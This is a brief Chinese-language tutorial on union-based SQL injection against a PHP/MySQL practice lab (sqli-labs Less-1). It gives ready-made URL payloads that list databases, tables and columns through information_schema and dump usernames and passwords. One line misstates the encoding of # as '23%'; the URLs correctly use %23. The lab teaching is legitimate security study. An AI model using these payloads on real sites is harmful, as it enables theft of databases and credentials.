SQL注入中经常会碰到 PHP + MySQL 的情况,此时可以尝试通过 INFORMATION_SCHEMA 库来查询想要的信息。
0x01 在 MySQL 的注入中,通常用 --+ 和 # 这两种注释符号来注释后面的语句,但是在 URL 中使用 # 会被当做 URL 的锚点不起作用,所以在使用 # 注释符时需要将其编码为 23%。
0x02 通过 information_schema 数据库查询 MySQL 中所有的数据库名:
SELECT schema_name FROM information_schema.schemata;
http://172.31.18.118/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%23
0x03 通过 information_schema 数据库查询 MySQL 中当前数据库的所有表名:
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
http://172.31.18.118/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%23
0x04 通过 information_schema 数据库查询 MySQL 中指定数据库的所有表名:
在指定数据库名时需要将数据库名转换为字符对应的十六进制,
如:dvwa -> 0x64767761
SELECT table_name FROM information_schema.tables WHERE table_schema=0x64767761;
http://172.31.18.118/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x64767761%23
0x05 通过 information_schema 数据库查询 MySQL 中当前数据库某个表的所有列名:
SELECT column_name FROM information_schema.columns where table_name=hex_table_name and table_schema=database();
http://172.31.18.118/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273%20and%20table_schema=database()%23
0x06 查询表中的某个字段
SELECT id,username,password FROM users;
http://172.31.18.118/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(id,0x7e,username,0x7e,password),3%20from%20users%20%23
其中 0x7e 为 ~ 的十六进制编码,主要用来分隔各个字段的值。